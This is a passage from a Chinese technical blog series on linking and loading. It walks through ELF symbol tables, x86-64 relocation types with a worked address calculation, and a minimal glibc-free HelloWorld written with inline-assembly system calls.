    2: 00000000004001a8    0 SECTION LOCAL  DEFAULT    2
    3: 0000000000601000    0 SECTION LOCAL  DEFAULT    3
    4: 0000000000601018    0 SECTION LOCAL  DEFAULT    4
    5: 0000000000000000    0 SECTION LOCAL  DEFAULT    5
    6: 0000000000000000    0 FILE    LOCAL  DEFAULT  ABS a.c
    7: 0000000000000000    0 FILE    LOCAL  DEFAULT  ABS b.c
    8: 0000000000000000    0 FILE    LOCAL  DEFAULT  ABS c.c
    9: 0000000000000000    0 FILE    LOCAL  DEFAULT  ABS
    10: 0000000000601000    0 OBJECT  LOCAL  DEFAULT    3 _GLOBAL_OFFSET_TABLE_
    11: 000000000040012e    75 FUNC    GLOBAL DEFAULT    1 swap
    12: 0000000000601018    4 OBJECT  GLOBAL DEFAULT    4 shared
    13: 000000000060101c    4 OBJECT  GLOBAL DEFAULT    4 shared2
    14: 0000000000601020    0 NOTYPE  GLOBAL DEFAULT    4 __bss_start
    15: 00000000004000e8    70 FUNC    GLOBAL DEFAULT    1 main
    16: 0000000000400179    45 FUNC    GLOBAL DEFAULT    1 swap2
    17: 0000000000601020    0 NOTYPE  GLOBAL DEFAULT    4 _edata
    18: 0000000000601020    0 NOTYPE  GLOBAL DEFAULT    4 _end
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到与计算出来的一致。&lt;&#x2F;p&gt;
&lt;p&gt;参考：《程序员自我修养》4.1&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue12-zhong-ding-wei&quot;&gt;Issue12 重定位&lt;&#x2F;h2&gt;
&lt;p&gt;当链接器确定了每个section，以及每个符号的运行时地址后(符号地址的确定可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;11&quot;&gt;上篇文章&lt;&#x2F;a&gt;)，需要修改代码段和数据段中对每个符号的引用，使得它们指向正确的运行时地址。&lt;&#x2F;p&gt;
&lt;p&gt;比如有以下代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F;a.c
extern int global_var;

void foo();
int main()
{
    int a = global_var;
    foo();
    return 0;
}

&amp;#x2F;&amp;#x2F;b.c
int global_var = 1;

void foo()
{
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;进行编译，链接: &lt;code&gt;$ gcc -c a.c b.c &amp;amp;&amp;amp; ld a.o b.o -e main -o ab&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来开始分析：&lt;&#x2F;p&gt;
&lt;p&gt;首先反汇编a.o: &lt;code&gt;$ $ objdump -d a.o&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;a.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 &amp;lt;main&amp;gt;:
   0:    55     push %rbp
   1:    48 89 e5     mov %rsp,%rbp
   4:    48 83 ec 10     sub $0x10,%rsp
   8:    8b 05 00 00 00 00     mov 0x0(%rip),%eax # e &amp;lt;main+0xe&amp;gt;
   e:    89 45 fc     mov %eax,-0x4(%rbp)
  11:    b8 00 00 00 00     mov $0x0,%eax
  16:    e8 00 00 00 00     callq 1b &amp;lt;main+0x1b&amp;gt;
  1b:    b8 00 00 00 00     mov $0x0,%eax
  20:    c9     leaveq
  21:    c3     retq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;地址0x08处的指令:
&lt;code&gt;8:  8b 05 00 00 00 00  mov 0x0(%rip),%eax   # e &lt;&#x2F;code&gt;
表示将0x00 + R[rip]即(0x00 + 0x0e)复制到寄存器%eax，寄存器%eax用来存放变量a的值，由于全局变量定义在其他目标文件中,此时编译器并不知道global_var的地址，所以编译器把寄存器rip的值(下一条命令的地址)看作是全局变量global_var的地址。&lt;&#x2F;p&gt;
&lt;p&gt;继续看地址0x16处的指令：
&lt;code&gt;16:  e8 00 00 00 00      callq 1b &lt;&#x2F;code&gt;
表示一个过程调用，过程调用的起始地址为0x01b，该命令就是调用函数foo，与上述global_var的地址类似，编译器将函数foo的起始地址设置为该指令的下一条指令地址&lt;&#x2F;p&gt;
&lt;p&gt;编译器将这两条指令的地址暂时用0x0e和0x1b代替着，把真正的地址计算工作留给了链接器。&lt;&#x2F;p&gt;
&lt;p&gt;而链接器通过重定位表找到需要被修改的指令并进行调整&lt;&#x2F;p&gt;
&lt;p&gt;查看a.o的重定位表: &lt;code&gt;readelf -r a.o&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Relocation section &amp;#x27;.rela.text&amp;#x27; at offset 0x210 contains 2 entries:
  Offset Info Type Sym. Value Sym. Name + Addend
00000000000a 000900000002 R_X86_64_PC32 0000000000000000 global_var - 4
000000000017 000b00000004 R_X86_64_PLT32 0000000000000000 foo - 4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到有两个&lt;strong&gt;重定位入口&lt;&#x2F;strong&gt;(每个要被重定位地方称为一个重定位入口)&lt;&#x2F;p&gt;
&lt;p&gt;offset是重定位入口偏移：这个值是该重定位入口所要修正的位置的第一个字节相对于段起始的偏移。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在a.o中0x0a和0x17分别是代码段中mov指令和call指令的地址部分&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;type是指&lt;strong&gt;重定位类型&lt;&#x2F;strong&gt;，用来告知链接器如何修改重定位入口&lt;&#x2F;p&gt;
&lt;p&gt;重定位类型及其重定位修正方法如下图&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;A    Represents the addend used to compute the value of the relocatable field.
B    Represents the base address at which a shared object has been loaded into memory during execution. Generally, a shared object is built with a 0 base virtual address, but the execution address will be different.
G    Represents the offset into the global offset table at which the relocation entry’s symbol will reside during execution.
GOT    Represents the address of the global offset table.
L    Represents the place (section offset or address) of the Procedure Linkage Table entry for a symbol.
P    Represents the place (section offset or address) of the storage unit being relocated (computed using r_offset).
S    Represents the value of the symbol whose index resides in the relocation entry.
Z    Represents the size of the symbol whose index resides in the relocation entry.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Name&lt;&#x2F;th&gt;&lt;th&gt;Value&lt;&#x2F;th&gt;&lt;th&gt;Field&lt;&#x2F;th&gt;&lt;th&gt;Calculation&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_NONE&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;none&lt;&#x2F;td&gt;&lt;td&gt;none&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_64&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;S+A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_PC32&lt;&#x2F;td&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;S+A-P&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GOT32&lt;&#x2F;td&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;G+A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_PLT32&lt;&#x2F;td&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;L+A-P&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_COPY&lt;&#x2F;td&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;none&lt;&#x2F;td&gt;&lt;td&gt;none&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GLOB_DAT&lt;&#x2F;td&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;S&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_JUMP_SLOT&lt;&#x2F;td&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;S&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_RELATIVE&lt;&#x2F;td&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;B+A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GOTPCREL&lt;&#x2F;td&gt;&lt;td&gt;9&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;G+GOT+A-P&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_32&lt;&#x2F;td&gt;&lt;td&gt;10&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;S+A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_32S&lt;&#x2F;td&gt;&lt;td&gt;11&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;S+A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_16&lt;&#x2F;td&gt;&lt;td&gt;12&lt;&#x2F;td&gt;&lt;td&gt;word16&lt;&#x2F;td&gt;&lt;td&gt;S+A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_PC16&lt;&#x2F;td&gt;&lt;td&gt;13&lt;&#x2F;td&gt;&lt;td&gt;word16&lt;&#x2F;td&gt;&lt;td&gt;S+A-P&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_8&lt;&#x2F;td&gt;&lt;td&gt;14&lt;&#x2F;td&gt;&lt;td&gt;word8&lt;&#x2F;td&gt;&lt;td&gt;S+A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_PC8&lt;&#x2F;td&gt;&lt;td&gt;15&lt;&#x2F;td&gt;&lt;td&gt;word8&lt;&#x2F;td&gt;&lt;td&gt;S+A-P&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_DTPMOD64&lt;&#x2F;td&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_DTPOFF64&lt;&#x2F;td&gt;&lt;td&gt;17&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_TPOFF64&lt;&#x2F;td&gt;&lt;td&gt;18&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_TLSGD&lt;&#x2F;td&gt;&lt;td&gt;19&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_TLSLD&lt;&#x2F;td&gt;&lt;td&gt;20&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_DTPOFF32&lt;&#x2F;td&gt;&lt;td&gt;21&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GOTTPOFF&lt;&#x2F;td&gt;&lt;td&gt;22&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_TPOFF32&lt;&#x2F;td&gt;&lt;td&gt;23&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_PC64&lt;&#x2F;td&gt;&lt;td&gt;24&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;S+A-P&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GOTOFF64&lt;&#x2F;td&gt;&lt;td&gt;25&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;S+A-GOT&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GOTPC32&lt;&#x2F;td&gt;&lt;td&gt;26&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;GOT+A-P&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GOT64&lt;&#x2F;td&gt;&lt;td&gt;27&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;G + A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GOTPCREL64&lt;&#x2F;td&gt;&lt;td&gt;28&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;G + GOT - P + A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GOTPC64&lt;&#x2F;td&gt;&lt;td&gt;29&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;GOT - P + A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GOTPLT64&lt;&#x2F;td&gt;&lt;td&gt;30&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;G + A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_PLTOFF64&lt;&#x2F;td&gt;&lt;td&gt;31&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;L - GOT + A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_SIZE32&lt;&#x2F;td&gt;&lt;td&gt;32&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;Z+A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_SIZE64&lt;&#x2F;td&gt;&lt;td&gt;33&lt;&#x2F;td&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;Z+A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_GOTPC32_TLSDESC&lt;&#x2F;td&gt;&lt;td&gt;34&lt;&#x2F;td&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_TLSDESC_CALL&lt;&#x2F;td&gt;&lt;td&gt;35&lt;&#x2F;td&gt;&lt;td&gt;none&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;R_X86_64_TLSDESC&lt;&#x2F;td&gt;&lt;td&gt;36&lt;&#x2F;td&gt;&lt;td&gt;word64x2&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;以重定位&lt;code&gt;global_var&lt;&#x2F;code&gt;为例&lt;&#x2F;p&gt;
&lt;p&gt;从上面查看重定位表可知global_var的重定位类型为R_X86_64_PC32，那么修正后的地址值计算公式为&lt;code&gt;S - P + A&lt;&#x2F;code&gt;
S = 符号的实际地址
P = 被修正的位置(即重定位入口所要修正的位置)
A  = 重定位表中的addend字段&lt;&#x2F;p&gt;
&lt;p&gt;查看链接后的可执行程序ab中global_var的虚拟地址：&lt;code&gt;readelf -s ab&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Symbol table &amp;#x27;.symtab&amp;#x27; contains 16 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
    ...
    10: 0000000000601018     4 OBJECT  GLOBAL DEFAULT    4 global_var
    ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;S = 0x601018&lt;&#x2F;p&gt;
&lt;p&gt;接下来查看global_var对应重定位入口的偏移量和addend常量，从上面查看的重定位表可以得到&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;offset(global_var) = 0x0a&lt;&#x2F;li&gt;
&lt;li&gt;A = addend ＝ -4&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;要得到被修正的位置P，我们需要查看段表获取ab中.text段的地址：&lt;code&gt;readelf -S ab&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;readelf -S ab
There are 9 section headers, starting at offset 0x1258:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         00000000004000e8  000000e8
       0000000000000029  0000000000000000  AX       0     0     1
    ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时我们可以求出P = addr(.text) + offset(global_var) = 0x4000e8 + 0x0a = 0x4000f2&lt;&#x2F;p&gt;
&lt;p&gt;最后求出S  - P + A = 0x601018 - 0x4000f2 - 0x04 = 0x200f22&lt;&#x2F;p&gt;
&lt;p&gt;所以修正后的地址值为0x200f22&lt;&#x2F;p&gt;
&lt;p&gt;反编译程序ab：&lt;code&gt;objdump -d ab&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;objdump -d ab
ab: file format elf64-x86-64
Disassembly of section .text:
00000000004000e8 &amp;lt;main&amp;gt;:
  4000e8:    55     push %rbp
  4000e9:    48 89 e5     mov %rsp,%rbp
  4000ec:    48 83 ec 10     sub $0x10,%rsp
  4000f0:    8b 05 22 0f 20 00     mov 0x200f22(%rip),%eax # 601018 &amp;lt;global_var&amp;gt;
  4000f6:    89 45 fc     mov %eax,-0x4(%rbp)
  4000f9:    b8 00 00 00 00     mov $0x0,%eax
  4000fe:    e8 07 00 00 00     callq 40010a &amp;lt;foo&amp;gt;
  400103:    b8 00 00 00 00     mov $0x0,%eax
  400108:    c9     leaveq
  400109:    c3     retq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;本机环境为小端&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;可以看到最终修正后的值确实是0x200f22&lt;&#x2F;p&gt;
&lt;p&gt;TODO：关于符号foo的重定位计算有些疑惑，虽然符号类型是R_X86_64_PLT32，但是重定位后的地址值却符合S + A - P计算规则&lt;&#x2F;p&gt;
&lt;p&gt;参考：
《程序员自我修养》4.2章节-符号解析与重定位
《深入理解计算机系统第3版》7.7章节-重定位
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.mindfruit.co.uk&#x2F;2012&#x2F;06&#x2F;relocations-relocations.html#reloc_types_table&quot;&gt;http:&#x2F;&#x2F;www.mindfruit.co.uk&#x2F;2012&#x2F;06&#x2F;relocations-relocations.html#reloc_types_table&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue13-bu-yi-lai-glibcde-helloworldcheng-xu&quot;&gt;Issue13 不依赖glibc的HelloWorld程序&lt;&#x2F;h2&gt;
&lt;p&gt;本文使用gcc扩展汇编写实现一个不依赖C标准库glibc的HelloWorld程序，并简单介绍链接控制脚本的使用。&lt;&#x2F;p&gt;
&lt;p&gt;我们知道glibc库的printf函数最终是使用write系统调用向终端输出字符，既然我们想编写一个不依赖运行时库的最&quot;小&quot;的HelloWorld程序，那么我们就得自己来进行系统调用&lt;&#x2F;p&gt;
&lt;p&gt;在x86架构可以使用0x80号中断(&lt;code&gt;int 0x80&lt;&#x2F;code&gt;)来进行系统调用
在x86_64架构除了使用0x80号中断以外，还有一个专用的指令&lt;code&gt;syscall&lt;&#x2F;code&gt;可以进行系统调用(&lt;strong&gt;更加高效&lt;&#x2F;strong&gt;)，&lt;&#x2F;p&gt;
&lt;p&gt;两种方式实现如下，需要用到gcc扩展汇编知识，可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;onlinedocs&#x2F;gcc&#x2F;Extended-Asm.html&quot;&gt;这里&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;int 0x80&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;char *str = &amp;quot;Hello world!\n&amp;quot;;
void print()
{
    asm(&amp;quot;movl $13, %%edx \n\t&amp;quot;
        &amp;quot;movl %0, %%ecx \n\t&amp;quot;
        &amp;quot;movl $1, %%ebx \n\t&amp;quot;
        &amp;quot;movl $4, %%eax \n\t&amp;quot;
        &amp;quot;int $0x80 \n\t&amp;quot;
        ::&amp;quot;r&amp;quot;(str):&amp;quot;edx&amp;quot;, &amp;quot;ecx&amp;quot;, &amp;quot;ebx&amp;quot;, &amp;quot;esi&amp;quot;);
}
void exit()
{
    asm(&amp;quot;movl $42, %ebx \n\t&amp;quot;
        &amp;quot;movl $1, %eax \n\t&amp;quot;
        &amp;quot;int $0x80 \n\t&amp;quot;);
}
void nomain()
{
    print();
    exit();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;int 0x80&lt;&#x2F;code&gt;系统调用的参数传递和返回值规则如下&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;系统调用号&lt;&#x2F;th&gt;&lt;th&gt;参数1&lt;&#x2F;th&gt;&lt;th&gt;参数2&lt;&#x2F;th&gt;&lt;th&gt;参数3&lt;&#x2F;th&gt;&lt;th&gt;参数4&lt;&#x2F;th&gt;&lt;th&gt;参数5&lt;&#x2F;th&gt;&lt;th&gt;参数6&lt;&#x2F;th&gt;&lt;th&gt;返回值&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;eax&lt;&#x2F;td&gt;&lt;td&gt;ebx&lt;&#x2F;td&gt;&lt;td&gt;ecx&lt;&#x2F;td&gt;&lt;td&gt;edx&lt;&#x2F;td&gt;&lt;td&gt;esi&lt;&#x2F;td&gt;&lt;td&gt;edi&lt;&#x2F;td&gt;&lt;td&gt;ebp&lt;&#x2F;td&gt;&lt;td&gt;eax&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;write系统调用的C语言描述如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int write(int filedesc, char *buffer, int size)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;进行write系统调用的汇编代码意义如下
&lt;code&gt;movl $13, %%edx&lt;&#x2F;code&gt; 将字符串长度传递给第3个参数size
&lt;code&gt;movl %0, %%ecx&lt;&#x2F;code&gt; 将指针str传递给第二个参数buff(%0指代str变量)
&lt;code&gt;movl $1, %%ebx&lt;&#x2F;code&gt; 将立即数1传递给第一个参数filedesc(标准输出的文件描述符为1)
&lt;code&gt;movl $4, %%eax&lt;&#x2F;code&gt; 寄存器eax用来存放系统调用号，write调用号为4，见unistd_32.h
&lt;code&gt;&quot;r&quot;(str)&lt;&#x2F;code&gt;表示由编译器决定使用哪个通用寄存器来存放str变量
&lt;code&gt;&quot;edx&quot;, &quot;ecx&quot;, &quot;ebx&quot;, &quot;esi&quot;&lt;&#x2F;code&gt; 告知编译器汇编代码会修改这几个寄存器的值&lt;&#x2F;p&gt;
&lt;p&gt;详细语法规则见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;onlinedocs&#x2F;gcc&#x2F;Extended-Asm.html&quot;&gt;gcc扩展汇编知识&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;exit系统调用原理一致，就不赘述了&lt;&#x2F;p&gt;
&lt;p&gt;接下来进行编译链接，由于该代码是参考《链接，装载与库》书中的示例代码，且书中系统环境为32位，而本机环境为64位，所以编译和链接时需要指定使用32位(&lt;code&gt;-m32&lt;&#x2F;code&gt;选项和&lt;code&gt;-m elf_i386&lt;&#x2F;code&gt;)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -m32 -c -fno-builtin tinyhelloworld.c
$ ld -static -e nomain -m elf_i386 -o tinyhelloworld. tinyhelloworld.o
$ .&amp;#x2F;tinyhelloworld.
hello world!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;-fno-builtin&lt;&#x2F;code&gt;选项关闭gcc的内置函数功能，避免程序中某些函数被替换
&lt;code&gt;-m32&lt;&#x2F;code&gt;选项指定编译出32位的目标文件&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;-m elf_i386&lt;&#x2F;code&gt;选项指定链接的的是32位程序
&lt;code&gt;-e nomain&lt;&#x2F;code&gt;设置程序的入口函数为nomain&lt;&#x2F;p&gt;
&lt;p&gt;如果编译时不使用&lt;code&gt;-m32&lt;&#x2F;code&gt;选项，那么会报错如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -c -fno-builtin tinyhelloworld.c
tinyhelloworld.c: Assembler messages:
tinyhelloworld.c:6: Error: unsupported instruction `mov&amp;#x27;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;报错行是&lt;code&gt;movl %0, %%ecx&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;错误原因可能如下：由于代码使用&lt;code&gt;r&lt;&#x2F;code&gt;来约束变量str，表示由编译器来决定使用任意通用寄存器，由于本机环境为64位，所以编译器使用了一个64位的寄存器来存放str，因此该指令将一个64位寄存器赋值给32位寄存器ecx是错误的。参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;11372024&#x2F;what-does-the-gcc-error-message-error-unsupported-for-mov-mean&quot;&gt;What does the GCC error message, “Error: unsupported for `mov&#x27;”, mean? &lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;那如果还是想编译成64位程序而不是32位程序可以如何做呢？&lt;&#x2F;p&gt;
&lt;p&gt;既然编译器使用64位寄存器来存放str会报错，那我们只要不让str存储在寄存器即可，这里我尝试使用内存来存放变量str，发现结果可行，具体修改为&lt;code&gt;&quot;r&quot;(str)&lt;&#x2F;code&gt; to &lt;code&gt;&quot;m&quot;(str)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;重新编译链接，运行，成功!&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -c -fno-builtin tinyhelloworld.c
$ ld -static -e nomain -o tinyhelloworld tinyhelloworld.o
$ .&amp;#x2F;tinyhelloworld
hello world!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;syscall&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;char *str = &amp;quot;Hello World!\n&amp;quot;;
void print()
{
    asm(&amp;quot;movq $1, %%rax \n\t&amp;quot;
        &amp;quot;movq $1, %%rdi \n\t&amp;quot;
        &amp;quot;movq %0, %%rsi \n\t&amp;quot;
        &amp;quot;movq $13, %%rdx \n\t&amp;quot;
        &amp;quot;syscall&amp;quot;
        :
        :&amp;quot;r&amp;quot;(str)
